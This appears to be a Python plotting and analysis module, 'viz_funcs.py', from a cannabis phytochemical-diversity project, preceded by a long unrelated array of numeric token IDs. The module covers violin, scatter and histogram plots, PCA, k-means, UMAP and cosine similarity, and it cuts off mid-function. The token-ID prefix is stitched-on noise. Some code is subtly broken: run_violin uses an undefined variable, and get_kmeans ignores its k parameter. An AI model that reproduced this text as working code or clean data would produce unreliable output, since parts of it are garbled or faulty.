29918, 29893, 10412, 17143, 29898, 3027, 29892, 3661, 2158, 29922, 9302, 29889, 2873, 3552, 29945, 29892, 29871, 29945, 4961, 13, 1678, 19922, 17143, 29918, 29894, 466, 29898, 3027, 29892, 5418, 29892, 11073, 29897, 13, 13, 13, 29937, 512, 29961, 29955, 29945, 5387, 13, 13, 13, 29937, 1853, 29898, 3729, 29879, 29961, 29896, 3816, 29906, 2314, 13, 13, 13, 29937, 512, 29961, 29955, 29953, 5387, 13, 13, 13, 29937, 6680, 1304, 304, 6597, 4426, 515, 263, 1051, 310, 2071, 3027, 29889, 26658, 3032, 12803, 11030, 29889, 18457, 11857, 13, 11330, 29918, 2371, 353, 14013, 343, 29901, 10518, 29889, 3221, 29889, 2557, 29889, 17271, 3319, 13, 1678, 376, 29909, 334, 349, 1115, 301, 1958, 29898, 2892, 921, 29901, 921, 29889, 6203, 334, 921, 29889, 546, 14772, 29892, 343, 511, 13, 1678, 376, 29909, 847, 349, 1115, 301, 1958, 29898, 2892, 921, 29901, 921, 29889, 6203, 847, 921, 29889, 546, 14772, 29892, 343, 511, 13, 1678, 376, 29925, 847, 319, 1115, 301, 1958, 29898, 2892, 921, 29901, 921, 29889, 546, 14772, 847, 921, 29889, 6203, 29892, 343, 511, 13, 1678, 376, 535, 13809, 319, 1115, 301, 1958, 29898, 2892, 921, 29901, 921, 29889, 535, 13809, 29918, 6203, 29892, 343, 511, 13, 1678, 376, 1686, 27445, 29918, 29881, 2829, 1308, 1115, 301, 1958, 29898, 2892, 921, 29901, 921, 29889, 1686, 27445, 29918, 29881, 2829, 1308, 29892, 343, 511, 13, 1678, 376, 29872, 617, 296, 2200, 537, 1115, 301, 1958, 29898, 2892, 921, 29901, 921, 29889, 29872, 617, 296, 2200, 537, 29892, 343, 511, 13, 1678, 376, 1195, 272, 29918, 8990, 29918, 2848, 1115, 301, 1958, 29898, 2892, 921, 29901, 921, 29889, 1195, 272, 29918, 8990, 29918, 2848, 29892, 343, 511, 13, 1678, 376, 21355, 29918, 8990, 29918, 2848, 1115, 301, 1958, 29898, 2892, 921, 29901, 921, 29889, 21355, 29918, 8990, 29918, 2848, 29892, 343, 29897, 13, 1800, 13, 13, 13, 29937, 512, 29961, 29955, 29955, 5387, 13, 13, 13, 7728, 1000, 3076, 29906, 353, 4426, 29918, 2371, 29898, 3729, 29879, 29961, 29896, 2314, 13, 13, 13, 29937, 512, 29961, 29955, 29947, 5387, 13, 13, 13, 29879, 1983, 29889, 18784, 5317, 29898, 7728, 1000, 3076, 29906, 29897, 13, 13, 13, 29937, 835, 9034, 1103, 19701, 316, 592, 29926, 2207, 628, 21030, 29877, 6432, 1070, 584, 13, 29937, 29871, 13, 29937, 16020, 29983, 13279, 7681, 5366, 1707, 712, 1869, 3107, 1000, 3076, 712, 16269, 2689, 409, 273, 3627, 3720, 1376, 267, 1702, 16918, 279, 425, 22215, 20718, 409, 10671, 661, 427, 1869, 7130, 294, 19545, 977, 294, 343, 427, 1869, 9501, 25268, 9941, 1897, 294, 29889, 25887, 712, 427, 1232, 903, 1557, 2620, 26762, 29918, 1176, 2255, 14842, 1185, 2903, 2709, 15620, 263, 658, 21793, 316, 1232, 8574, 267, 4029, 6753, 2122, 2637, 1232, 712, 907, 261, 29983, 14054, 1487, 3579, 369, 29881, 1664, 359, 13686, 12927, 1068, 313, 29883, 30030, 29885, 7207, 316, 28780, 9105, 29897, 343, 1232, 712, 1487, 3579, 29888, 1338, 359, 13686, 12927, 1068, 313, 29886, 1657, 359, 29106, 359, 2637, 16296, 343, 8080, 29926, 2255, 628, 274, 30030, 29885, 7207, 5882, 467, 13, 29937, 29871, 13, 29937, 21651, 1743, 263, 439, 29948, 1072, 2884, 17898, 687, 264, 343, 634, 8105, 300, 8712, 324, 359, 29892, 409, 2532, 20310, 875, 1267, 279, 443, 29472, 316, 13856, 2101, 1512, 23116, 7205, 1185, 2654, 26808, 7177, 288, 1185, 10269, 339, 1099, 316, 12103, 10069, 4608, 616, 1702, 13540, 22215, 928, 279, 5409, 321, 9639, 993, 9936, 29889, 13, 29937, 29871, 13, 29937, 997, 10269, 339, 1099, 316, 12103, 10069, 4608, 616, 14567, 18429, 313, 680, 284, 2689, 29897, 560, 7251, 546, 572, 1562, 712, 16918, 2903, 559, 1232, 274, 30030, 16109, 359, 29889, 13, 29937, 853, 20270, 23116, 313, 3075, 582, 1941, 263, 24318, 29897, 409, 3887, 8505, 263, 3133, 2709, 29889, 13, 13, 29937, 512, 29961, 29947, 29946, 5387, 13, 13, 13, 29879, 1983, 29889, 1557, 2620, 5317, 877, 1195, 272, 29918, 8990, 29918, 2848, 742, 525, 535, 13809, 319, 742, 848, 29922, 7728, 1000, 3076, 29906, 29897, 13, 572, 29873, 29889, 1165, 29894, 1220, 29898, 29896, 29941, 29892, 2927, 2433, 1127, 1495, 13, 13, 13, 29937, 835, 7338, 336, 584, 9249, 15677, 316, 1014, 28192, 6027, 2646, 3465, 394, 3093, 272, 277, 4346, 399, 10412, 17143, 29889, 13, 13, 29937, 512, 29961, 29947, 29955, 5387, 13, 13, 13, 1454, 3038, 297, 9101, 29961, 29906, 5387, 13, 1678, 1967, 353, 17132, 29898, 3729, 29897, 13, 1678, 29320, 29892, 5418, 29892, 11073, 353, 20803, 29918, 29893, 10412, 17143, 29898, 3027, 29892, 3661, 2158, 29922, 9302, 29889, 2873, 3552, 29896, 29900, 29892, 29896, 29900, 4961, 13, 1678, 19922, 17143, 29918, 29894, 466, 29898, 3027, 29892, 5418, 29892, 11073, 29897, 13, 13, 13, 29937, 512, 29961, 4514, 29901, 13, 13, 13, 13, 13, 13, 29937, 512, 29961, 4514, 29901, 13, 13, 13, 13, 13, 2 ]
viz_funcs.py
cjsmith015/phytochemical-diversity-cannabis
0
34960
import numpy as np import pandas as pd import scipy.stats as scs import itertools from collections import defaultdict import textwrap import pingouin as pg from statsmodels.stats.multicomp import pairwise_tukeyhsd from sklearn.neighbors import NearestNeighbors from sklearn.decomposition import PCA from sklearn.cluster import DBSCAN, KMeans, OPTICS from sklearn.metrics import silhouette_samples, silhouette_score from sklearn.preprocessing import StandardScaler from sklearn.metrics.pairwise import cosine_distances, cosine_similarity from sklearn.preprocessing import StandardScaler, MinMaxScaler pd.options.display.max_columns = 150 from umap import UMAP from statannot import add_stat_annotation import plotly import plotly.graph_objs as go import matplotlib as mpl import matplotlib.pyplot as plt import matplotlib.ticker as ticker import matplotlib.colors as mcolors import matplotlib.lines as mlines import matplotlib.patches as mpatches from mpl_toolkits import mplot3d import matplotlib.cm as cm from adjustText import adjust_text import matplotlib.patheffects as PathEffects import seaborn as sns import warnings warnings.filterwarnings('ignore') warnings.simplefilter('ignore') ### def simple_axis(ax): ax.spines['top'].set_visible(False) ax.spines['right'].set_visible(False) ax.get_xaxis().tick_bottom() ax.get_yaxis().tick_left() def run_by_group(orig_df, **kwargs): g = orig_df.groupby(kwargs['groupby']) base_name = kwargs['save_name'] for group, data in g: kwargs['title'] = group kwargs['save_name'] = base_name+'_'+group run_graph(data, **kwargs) return def run_graph(df, **kwargs): fig, ax = plt.subplots(figsize=kwargs['figsize']) if 'violin' in kwargs['save_name']: ax = run_violin(df, ax, **kwargs) elif 'scatter' in kwargs['save_name']: if '5' in kwargs['save_name']: ax = run_scatter_5(df, ax, **kwargs) else: ax = run_scatter(df, ax, **kwargs) if 'comp_df' in kwargs: ax = run_loadings(df, ax, **kwargs) elif 'reg' in kwargs['save_name']: ax = run_scatter(df, ax, **kwargs) elif 'hist' in kwargs['save_name']: ax = run_hist(df, ax, **kwargs) elif 'bar' in kwargs['save_name']: ax = run_bar(df, ax, **kwargs) elif 'stacked' in kwargs['save_name']: ax = run_stacked_bar(df, ax, **kwargs) elif 'box' in kwargs['save_name']: ax = run_box(df, ax, **kwargs) elif 'sil' in kwargs['save_name']: ax = run_sil(df, ax, **kwargs) elif 'kde' in kwargs['save_name']: ax = run_kde(df, ax, **kwargs) elif 'line' in kwargs['save_name']: ax = run_line(df, ax, **kwargs) if 'log' in kwargs: # ax.set_xscale('symlog', linthreshx=1e-1) # ax.set_yscale('symlog', linthreshy=1e-1) ax.set_xscale('log') ax.set_yscale('log') if 'xlims' in kwargs: if len(kwargs['xlims']) == 1: xlims = ax.get_xlim() kwargs['xlims'] = (kwargs['xlims'][0], xlims[1]) ax.set_xlim(kwargs['xlims']) if 'ylims' in kwargs: if len(kwargs['ylims']) == 1: ylims = ax.get_ylim() kwargs['ylims'] = (kwargs['ylims'][0], ylims[1]) ax.set_ylim(kwargs['ylims']) ax.set_xlabel(kwargs['x_label'], fontweight='bold', fontsize=11) ax.set_ylabel(kwargs['y_label'], fontweight='bold', fontsize=11) # if 'comp_df' in kwargs: # ax2 = ax.twiny() # ax2.set_xticks( ax.get_xticks() ) # ax2.set_xbound(ax.get_xbound()) # ax2.set_xticklabels([x/ax.get_xticks().max() for x in ax.get_xticks()]) # ax2.set_xlabel('Loadings on PC'+str(kwargs['x']+1), fontweight='bold', fontsize=11) # ax3 = ax.twinx() # ax3.set_yticks(ax.get_yticks()) # ax3.set_ybound(ax.get_ybound()) # ax3.set_yticklabels([y/ax.get_yticks().max() for y in ax.get_yticks()]) # ax3.set_ylabel('Loadings on PC'+str(kwargs['y']+1), fontweight='bold', fontsize=11) ax.set_title(kwargs['title'], fontweight='bold', fontsize=12) simple_axis(ax) plt.tight_layout() fig.savefig('viz/'+kwargs['save_name']+'.png') return def sample_df(df, x): if x==1: return df elif x<1: return df.sample(frac=x, random_state=56) else: return df.sample(n=x, random_state=56) def run_violin(data, ax, **kwargs): sub_df = sample_df(data, kwargs['sample_frac']) # get ns from full dataset if kwargs['x'] == 'region': df = pd.melt(data.loc[:, kwargs['cols']], id_vars='region', value_vars='tot_thc').drop(columns=['variable']) sub_df = pd.melt(sub_data.loc[:, kwargs['cols']], id_vars='region', value_vars='tot_thc').drop(columns=['variable']) order, n_dict = violin_order(df, group_by='region') else: if 'cols' in kwargs: df = pd.melt(data.loc[:, kwargs['cols']], var_name=kwargs['x']) sub_df = pd.melt(sub_df.loc[:, kwargs['cols']], var_name=kwargs['x']) order, n_dict = violin_order(df, group_by=kwargs['x']) else: df = data sub_df = sub_df order, n_dict = violin_order(df, group_by=kwargs['x']) # if pre-set order, use that if 'order' in kwargs: order = kwargs['order'] # plot with sampled data if 'palette' in kwargs: sns.violinplot(x=kwargs['x'], y=kwargs['y'], data=sub_df, scale='width', order=order, palette=kwargs['palette'], linewidth=0, ax=ax) else: sns.violinplot(x=kwargs['x'], y=kwargs['y'], data=sub_df, scale='width', order=order, color='lightslategray', linewidth=0, ax=ax) PROPS = { 'boxprops':{'facecolor':'black', 'edgecolor':'black', 'linewidth':3}, 'medianprops':{'color':'white', 'linewidth':2}, 'whiskerprops':{'color':'black', 'linewidth':2} } boxplot = sns.boxplot(x=kwargs['x'], y=kwargs['y'], data=df, order=order, showcaps=False, width=0.06, fliersize=0.5, ax=ax, **PROPS) if kwargs['avg']: avg_avgs = df.groupby(kwargs['x'])[kwargs['y']].mean().mean() ax.axhline(avg_avgs, color='black', linestyle='--') if 'axhline' in kwargs: ax.axhline(kwargs['axhline'], color='black', linestyle='--') if 'sil-scores' in kwargs['save_name']: ax.axhline(0, color='black', linestyle='--') if kwargs['sig_comp']: box_pairs = list(itertools.combinations(order,r=2)) test_results = add_stat_annotation(ax, data=df, x=kwargs['x'], y=kwargs['y'], order=order, box_pairs=box_pairs, text_annot_custom=[get_stats(df, pair, kwargs['x']) for pair in box_pairs], perform_stat_test=False, pvalues=[0, 0, 0], loc='outside', verbose=0) # ttest_df = pd.DataFrame(index=order, columns=['y_val','p_val','cohens_d']) # ttest_df[['y_val','p_val','cohens_d']] = ttest_df.apply(run_cohens, args=(df, ), axis=1, result_type='expand') # p_val_adj = 0.05/ttest_df.shape[0] # ttest_df['reject'] = ttest_df['p_val'] <= p_val_adj # bins = [0, 0.2, 0.5, 0.8, np.inf] # names = ['', '*', '**', '***'] # ttest_df['star'] = pd.cut(np.abs(ttest_df['cohens_d']), bins, labels=names) # for i, region in enumerate(order): # if ttest_df.loc[region, 'reject']: # y = ttest_df.loc[region, 'y_val'] # ax.text(i, y+2, ttest_df.loc[region, 'star'], ha='center', size=20) if 'v_xticklabels' in kwargs: xtick_labels = ax.get_xticklabels() labels = [textwrap.fill(x.get_text(),10) for x in xtick_labels] _ = ax.set_xticklabels(labels, rotation=90, ha='center') else: xtick_labels = ax.get_xticklabels() labels = [x.get_text()+'\nn='+str(n_dict[x.get_text()]['value']) for x in xtick_labels] _ = ax.set_xticklabels(labels) return ax def violin_order(df, group_by='Cannab'): order = df.groupby(group_by).median().sort_values(by='value', ascending=False).index n_dict = df.groupby(group_by).count().T.to_dict(orient='dict') return order.values, n_dict def run_scatter(df, ax, **kwargs): no_nan = df.dropna(subset=[kwargs['x'], kwargs['y']], how='any') sub_df = sample_df(no_nan, kwargs['sample_frac']) if 'size' in kwargs: s = kwargs['size'] else: s = mpl.rcParams['lines.markersize']**2 if 'edgecolor' in kwargs: ec = kwargs['edgecolor'] else: ec = 'white' if 'hue' in kwargs: if 'sort_list' in kwargs: hue_order = kwargs['sort_list'] sub_df = sub_df.sort_values(kwargs['hue'], key=make_sorter(kwargs['sort_list'])) else: hue_order = sub_df[kwargs['hue']].value_counts().index sns.scatterplot(x=kwargs['x'], y=kwargs['y'], hue=kwargs['hue'], data=sub_df, s=s, edgecolor=ec, alpha=0.5, hue_order=hue_order, palette=kwargs['palette'], ax=ax) # include full ns handles, labels = ax.get_legend_handles_labels() if 'n_display' in kwargs: labels_n = [(cat, df.loc[df[kwargs['hue']]==cat].shape[0]) for cat in hue_order] labels = [cat+'\nn='+str(n) for cat, n in labels_n] ax.legend(handles=handles[:kwargs['n_display']], labels=labels[:kwargs['n_display']], title=kwargs['hue'].title(), handlelength=4) else: labels_n = [(cat, df.loc[df[kwargs['hue']]==cat].shape[0]) for cat in hue_order] labels = [cat+'\nn='+str(n) for cat, n in labels_n] ax.legend(handles=handles, labels=labels, title=kwargs['hue'].title(), handlelength=4) else: sns.regplot(x=kwargs['x'], y=kwargs['y'], data=sub_df, scatter_kws={'alpha':0.1, 'color':'lightslategray', 'rasterized':True}, line_kws={'color':'orange'}, ax=ax) r, p = scs.spearmanr(no_nan[kwargs['x']], no_nan[kwargs['y']]) labels = ['rho = {:.2f}'.format(r)] if p < 1e-300: labels.append('p < 1e-300') else: labels.append('p = {:.1e}'.format(p)) ax.legend(labels=['\n'.join(labels)]) if 'prod_strains' in kwargs: s_colors = ['black', 'gray', 'white'] s_markers = ['^', 'D', 'o'] n_strains = len(kwargs['prod_strains']) for strain, color, marker in zip(kwargs['prod_strains'], s_colors[:n_strains], s_markers[:n_strains]): sns.scatterplot(x=kwargs['x'], y=kwargs['y'], data=sub_df.loc[sub_df['strain_slug']==strain], s=s+35, edgecolor='black', linewidth=1.5, color=color, label=strain, marker=marker, ax=ax) return ax def get_log(df, cannab_1='tot_thc', cannab_2='tot_cbd'): # get THC_CBD ratio for batches without 0 tot_thc (avoid dividing by 0) df['ratio'] = 0 df.loc[df[cannab_2] != 0, 'ratio'] = (df.loc[df[cannab_2] != 0, cannab_1]) / (df.loc[df[cannab_2] != 0, cannab_2]) # get log_THC_CBD vals df['log_ratio'] = 0 df.loc[df['ratio'] != 0, 'log_ratio'] = np.log10(df.loc[df['ratio'] != 0, 'ratio']) # set the 0 tot_cbd batches to an extraneous high bin df.loc[df[cannab_2] == 0, 'log_ratio'] = 4 df.loc[df[cannab_1] == 0, 'log_ratio'] = -2 log_ratio = df['log_ratio'] return log_ratio def run_hist(df, ax, **kwargs): sub_df = sample_df(df, kwargs['sample_frac']) # some cut-offs ct_thresh_high = 5 ct_thresh_low = 0.25 max_log = 4 min_log = -2.0 # get log data log_cannab = get_log(sub_df, cannab_1='tot_'+kwargs['x'], cannab_2='tot_'+kwargs['y']) # get histogram hist, bins = np.histogram(log_cannab, bins=np.arange(min_log-0.1, max_log+0.1, 0.05)) # get colors colors = [] for low, high in zip(bins,bins[1:]): avg = np.mean([low, high]) if avg >= np.log10(ct_thresh_high): colors.append('darkblue') elif avg <= np.log10(ct_thresh_low): colors.append('black') else: colors.append('steelblue') # plot histogram, thresholds ax.bar(bins[:-1], hist.astype(np.float32) / hist.sum(), width=(bins[1]-bins[0]), color=colors) ax.plot([np.log10(ct_thresh_high), np.log10(ct_thresh_high)], [0, kwargs['ylims'][1]-0.02], linestyle='--', color='k', linewidth=1) ax.plot([np.log10(ct_thresh_low), np.log10(ct_thresh_low)], [0, kwargs['ylims'][1]-0.02], linestyle='--', color='k', linewidth=1) ax.set_xticklabels(['',float("-inf"), -1, 0, 1, 2, 3, float("inf")]) # draw legend chemotypes = ['THC-Dom', 'Bal THC/CBD', 'CBD-Dom'] ct_1 = mpatches.Patch(color='darkblue', label='THC-Dom') ct_2 = mpatches.Patch(color='steelblue', label='Bal THC/CBD') ct_3 = mpatches.Patch(color='black', label='CBD-Dom') ct_handles, ct_labels = ax.get_legend_handles_labels() ct_labels_n = [(x, df.loc[df['chemotype']==x].shape[0]) for x in chemotypes] ct_labels = [x+'\nn='+str(n) for x, n in ct_labels_n] ax.legend(handles=[ct_1,ct_2,ct_3], labels=ct_labels,title='Chemotype',handlelength=4) return ax def normalize(df, cols): df.loc[:, cols] = (df.loc[:, cols] .div(df.loc[:, cols].sum(axis=1), axis=0) .multiply(100)) return df def max_min(arr): return arr/(arr.max()-arr.min()) def make_sorter(sort_list): """ Create a dict from the list to map to 0..len(l) Returns a mapper to map a series to this custom sort order """ sort_order = {k:v for k,v in zip(sort_list, range(len(sort_list)))} return lambda s: s.map(lambda x: sort_order[x]) def run_bar(df, ax, **kwargs): if 'hue' in kwargs: sns.barplot(x=kwargs['x'], y=kwargs['y'], hue=kwargs['hue'], data=df, palette=kwargs['palette'], order=kwargs['order']) elif 'palette' in kwargs: sns.barplot(x=kwargs['x'], y=kwargs['y'], data=df, palette=kwargs['palette'], order=kwargs['order']) else: sns.barplot(x=kwargs['x'], y=kwargs['y'], color='lightslategray') return ax def run_box(df, ax, **kwargs): if 'palette' in kwargs: sns.boxplot(x=kwargs['x'], y=kwargs['y'], data=df, palette=kwargs['palette'], order=kwargs['order']) else: sns.boxplot(x=kwargs['x'], y=kwargs['y'], color='lightslategray') return ax def run_pca(df, cols, norm=True, n_components=2, max_min_arr=False): df[cols] = df[cols].fillna(0) # get rid of rows that are all 0 for specified columns zero_bool = (df[cols]==0).sum(axis=1)==len(cols) df = df[~zero_bool].copy() if norm: X = normalize(df, cols).copy() else: X = df.copy() model = PCA(n_components=n_components) model.fit(X.loc[:, cols]) arr = model.fit_transform(X.loc[:, cols]) if max_min_arr: arr = np.apply_along_axis(max_min, arr=arr, axis=0) # add first three component scores to df X[0] = arr[:,0] X[1] = arr[:,1] X[2] = arr[:,2] return X, arr, model def run_loadings(df, ax, **kwargs): comp_df = kwargs['comp_df'] comp_df['combo_score'] = np.abs(comp_df[[kwargs['x'],kwargs['y']]]).sum(axis=1) comp_df = comp_df.sort_values(by='combo_score', ascending=False).iloc[:kwargs['n_display']] max_x = df[kwargs['x']].max() max_y = df[kwargs['y']].max() texts = [] for x in comp_df.iterrows(): texts.append(ax.text(x[1][kwargs['x']]*max_x, x[1][kwargs['y']]*max_y, x[0], fontweight='bold', bbox=dict(facecolor='white', edgecolor='blue', pad=2, alpha=0.75))) ax.arrow(0, 0, x[1][kwargs['x']]*max_x, x[1][kwargs['y']]*max_y, color='black', alpha=1, lw=2, head_width=1) adjust_text(texts) return ax def run_sil(df, ax, **kwargs): sub_df = sample_df(df, kwargs['sample_frac']) labels = df[kwargs['hue']] sub_labels = sub_df[kwargs['hue']] label_list = labels.value_counts().index silhouette_avg = silhouette_score(df[kwargs['cols']], labels) sample_sil_val = silhouette_samples(sub_df[kwargs['cols']], sub_labels) y_lower=0 for i, label in enumerate(label_list[:kwargs['n_display']]): ith_cluster_sil_val = sample_sil_val[sub_labels==label] ith_cluster_sil_val.sort() size_cluster_i = ith_cluster_sil_val.shape[0] y_upper = y_lower+size_cluster_i color = kwargs['palette'][label] ax.fill_betweenx(np.arange(y_lower, y_upper), 0, ith_cluster_sil_val, facecolor=color, edgecolor=color, alpha=0.7) ax.text(-0.05, y_lower+0.5*size_cluster_i, label) y_lower = y_upper+1 ax.axvline(silhouette_avg, color='lightslategray', linestyle='--') ax.legend(labels=['Avg Silhouette Score {:.2f}'.format(silhouette_avg)]) ax.set_ylim(0, y_upper+10) return ax def score2loading(x): return x / x.max() def loading2score(x): return x * x.max() def get_ct(df): # determine THC/CBD ratio df['chemotype_ratio'] = df['tot_thc'].div(df['tot_cbd'], fill_value=0) df.loc[(df['tot_thc']==0)&(df['tot_cbd']!=0), 'chemotype_ratio'] = -np.inf df.loc[(df['tot_thc']!=0)&(df['tot_cbd']==0), 'chemotype_ratio'] = np.inf # bin chemotypes by ratio df['chemotype'] = pd.cut(df['chemotype_ratio'], [-np.inf, 0.2, 5, np.inf], labels=['CBD-Dom','Bal THC/CBD', 'THC-Dom'], include_lowest=True) return df def run_stacked_bar(df, ax, **kwargs): if 'order' in kwargs: df[kwargs['order']].plot(kind='bar', stacked=True, color=kwargs['palette'], ax=ax) else: df.plot(kind='bar', stacked=True, color=kwargs['palette'], ax=ax) # .patches is everything inside of the chart for rect in ax.patches: # Find where everything is located height = rect.get_height() width = rect.get_width() x = rect.get_x() y = rect.get_y() # The height of the bar is the data value and can be used as the label label_text = f'{height:.1f}%' # f'{height:.2f}' to format decimal values # ax.text(x, y, text) label_x = x + width / 2 label_y = y + height / 2 # plot only when height is greater than specified value if height > 5: txt = ax.text(label_x, label_y, label_text, ha='center', va='center', fontsize=10, fontweight='bold', color='black') txt.set_path_effects([PathEffects.withStroke(linewidth=4, foreground='w')]) ax.legend(bbox_to_anchor=(1.05, 1), loc='upper left', borderaxespad=0.) return ax # def run_polar_plot(df, ax, **kwargs): # # print(df.loc[:,kwargs['cols']]) # mean_cols = list(df.loc[:,kwargs['cols']].mean(axis=0)) # mean_cols2 = mean_cols + mean_cols[:1] # angles = [n / len(mean_cols) * 2 * np.pi for n in range(len(mean_cols))] # angles = angles + angles[:1] # # get color # order = np.argsort(mean_cols)[::-1] # top_val = np.array(kwargs['cols'])[order][0] # if 'colors' in kwargs: # colors = kwargs['colors'] # else: # colors = kwargs['palette'][top_val] # # # error bars # # err_cols = list(df.loc[:,kwargs['cols']].std(axis=0)) # # err_cols2 = err_cols + err_cols[:1] # # ax.errorbar(angles, mean_cols2, yerr=err_cols2, capsize=0, color=colors, linestyle='solid', ecolor='lightslategray') # # plot # if kwargs['avg']: # ax.plot(angles, mean_cols2, color=colors, lw=1, linestyle='solid') # ax.fill(angles, mean_cols2, colors, alpha=0.1) # # y limits # ax.set_ylim(0, np.max(mean_cols2)) # else: # for row_idx, row in df[kwargs['cols']].iterrows(): # row_list = list(row) # row_list2 = row_list + row_list[:1] # if type(colors)==str: # ax.plot(angles, row_list2, color=colors, lw=0.5) # else: # ax.plot(angles, row_list2, color=colors[row_idx], lw=0.5) # ax.set_ylim(0, np.max(df[kwargs['cols']].max())) # # tick labels # tick_labs = kwargs['cols'] # ax.set_xticks(angles[:-1]) # ax.set_xticklabels(tick_labs, color='black', size=10) # ax.set_yticks([]) # return ax def run_polar_plot(df, ax, **kwargs): # print(df.loc[:,kwargs['cols']]) mean_cols = list(df.loc[:,kwargs['cols']].mean(axis=0)) mean_cols2 = mean_cols + mean_cols[:1] angles = [n / len(mean_cols) * 2 * np.pi for n in range(len(mean_cols))] angles = angles + angles[:1] # plot samples if 'sub_n' in kwargs: sub_data = df.sort_values('n_samps', ascending=False)[:kwargs['sub_n']] else: sub_data = df for row_idx, row in sub_data[kwargs['cols']].iterrows(): row_list = list(row) row_list2 = row_list + row_list[:1] if type(kwargs['colors'])==str: ax.plot(angles, row_list2, color=kwargs['colors'], lw=0.5, alpha=0.5) else: ax.plot(angles, row_list2, color=kwargs['colors'][row_idx], lw=0.5) if kwargs['avg']: # get for average color order = np.argsort(mean_cols)[::-1] top_val = np.array(kwargs['cols'])[order][0] avg_color = kwargs['palette'][top_val] ax.plot(angles, mean_cols2, color=avg_color, lw=1, linestyle='solid', zorder=11) ax.fill(angles, mean_cols2, avg_color, alpha=0.5, zorder=10) ax.set_ylim(0, np.max(mean_cols2)) else: ax.set_ylim(0, np.max(sub_data[kwargs['cols']].max())) # tick labels tick_labs = kwargs['cols'] ax.set_xticks(angles[:-1]) ax.set_xticklabels(tick_labs, color='black', size=10) ax.set_yticks([]) return ax def run_pairwise(df, cann_cols, terp_cols): df_sim = pd.DataFrame(columns=['cann','terp','all']) for idx, cols in enumerate([cann_cols, terp_cols, cann_cols+terp_cols]): if idx==2: df[cols] = MinMaxScaler().fit_transform(df[cols].fillna(0)) sim_scores = cosine_similarity(df[cols].fillna(0)) sim_scores[sim_scores > 0.9999999999999] = np.nan df_sim.iloc[:, idx] = np.nanmean(sim_scores, axis=0) return df_sim def get_scaled_dfs(df, cann, terps): X_cann = df[cann].fillna(0) X_cann_standard = MinMaxScaler().fit_transform(X_cann) X_terps = df[terps].fillna(0) X_terps_standard = MinMaxScaler().fit_transform(X_terps) X_all = df[cann+terps].fillna(0) X_all_standard = MinMaxScaler().fit_transform(X_all) return X_cann, X_cann_standard, X_terps, X_terps_standard, X_all, X_all_standard def avg_sd(a,b): num = np.var(a)+np.var(b) return np.sqrt(num/2) def get_stats(df, pair, col): x = df.loc[df[col]==pair[0], 'value'] y = df.loc[df[col]==pair[1], 'value'] ttest = scs.ttest_ind(x, y, equal_var=False) d_prime = (x.mean()-y.mean())/avg_sd(x,y) labels = [] if ttest[1] < 1e-300: labels.append('p < 1e-300') else: labels.append('p = {:.1e}'.format(ttest[1])) labels.append("d'="+str(np.round(np.abs(d_prime),2))) return ', '.join(labels) def get_prod_df(df, n_samp_min, n_prod_min, common_cannabs, common_terps): n_samp_df = df.groupby(['anon_producer','strain_slug'])['u_id'].count() df = df.merge(n_samp_df.rename('n_samp'), left_on=['anon_producer','strain_slug'], right_index=True) # create producer df prod_df = df.loc[(df['n_samp']>=n_samp_min)].groupby(['anon_producer','strain_slug'])[common_cannabs+common_terps].mean() prod_df = get_ct(prod_df) prod_df = prod_df.reset_index(drop=False) # get n_prod counts n_prod_df = prod_df.groupby('strain_slug')['anon_producer'].count() prod_df = prod_df.merge(n_prod_df.rename('n_prod'), left_on='strain_slug', right_index=True) prod_df = prod_df.merge(n_samp_df.rename('n_samps'), left_on=['anon_producer','strain_slug'], right_index=True) # subset to n_prod_min and thc-dom fin_prod_df = prod_df.loc[(prod_df['n_prod']>=n_prod_min)].sort_values(['n_prod','strain_slug','anon_producer'], ascending=[False, False, True]).copy() fin_prod_df['strain_slug'] = fin_prod_df['strain_slug'].astype(str) return fin_prod_df def get_pal_dict(df, common_terps, terp_dict): pal_dict = {} for label in set(df['kmeans_label']): terp_order = df.loc[df['kmeans_label']==label, common_terps].mean().sort_values(ascending=False) pal_dict[label] = terp_dict[terp_order[:1].index[0]] return pal_dict def get_kmeans(df, common_terps, k=3): df_norm, arr, model = run_pca(df, common_terps, norm=True, n_components=3) # set up kmeans clust = KMeans(3, random_state=56) # get cluster labels df_norm['kmeans_label'] = clust.fit_predict(df_norm[common_terps]) clust_dict = {x:y for x,y in zip(df_norm['kmeans_label'].value_counts().index, ['A','B','C'])} df_norm['kmeans_label'] = df_norm['kmeans_label'].replace(clust_dict) return df_norm def get_umap(df, common_terps, n_neighbors=6, random_state=56): umap_ = UMAP(n_components=2, n_neighbors=n_neighbors, random_state=random_state) X_terps_umap = umap_.fit_transform(df[common_terps]) df['umap_0'] = X_terps_umap[:,0] df['umap_1'] = X_terps_umap[:,1] return df def get_round(arr, sig_fig=1): return np.round(arr*100,sig_fig) def get_cos_sim(df, add_nan=False): sim_scores = cosine_similarity(df) if add_nan: sim_scores[sim_scores > 0.9999999999999] = np.nan else: sim_scores[sim_scores > 0.9999999999999] = 1 return sim_scores def group_cos_sim(df, group_level=False): if df.shape[0]==1: # if only one product, do not return cos sim return np.nan else: sim_scores = get_cos_sim(df, add_nan=True) if group_level: return np.mean(np.nanmean(sim_scores, axis=0)) else: return list(np.nanmean(sim_scores, axis=0)) def format_df(df): return df.explode().to_frame().rename(columns={0:'bw_prod_sim'}).reset_index(drop=False) def weighted_avg(avgs, weights): return np.average(avgs, weights=weights) def run_all_cos_sims(df, cols, groupby='strain_slug'): groups = df.groupby(groupby)[cols] bw_prod_df = format_df(groups.apply(lambda x: group_cos_sim(x))) avgs = groups.apply(lambda x: group_cos_sim(x, group_level=True)) weights = groups.size()[groups.size()>1] return bw_prod_df, avgs, weights def run_kde(df, ax, **kwargs): no_nan = df.dropna(subset=[kwargs['x'], kwargs['y']], how='any') sub_df = sample_df(no_nan, kwargs['sample_frac']) _ = sns.kdeplot(x=kwargs['x'], y=kwargs['y'], data=sub_df, fill=True, cmap='RdBu_r', cbar=True, vmin=0, levels=75, ax=ax) return ax def run_line(df, ax, **kwargs): _ = ax.plot(kwargs['x'], kwargs['y']) return ax def run_scatter_5(df, ax, **kwargs): no_nan = df.dropna(subset=[kwargs['x'], kwargs['y']], how='any') sub_df = sample_df(no_nan, kwargs['sample_frac']) if 'size' in kwargs: s = kwargs['size'] else: s = mpl.rcParams['lines.markersize']**2 if 'edgecolor' in kwargs: ec = kwargs['edgecolor'] else: ec = 'white' hue_order = ['THC-Dom', 'Bal THC/CBD', 'CBD-Dom'] s_colors = ['darkblue', 'steelblue', 'black'] s_markers = ['D', '^', 'o'] for ct, color, marker in zip(hue_order, s_colors, s_markers): if ct=='THC-Dom': sns.scatterplot(x=kwargs['x'], y=kwargs['y'], 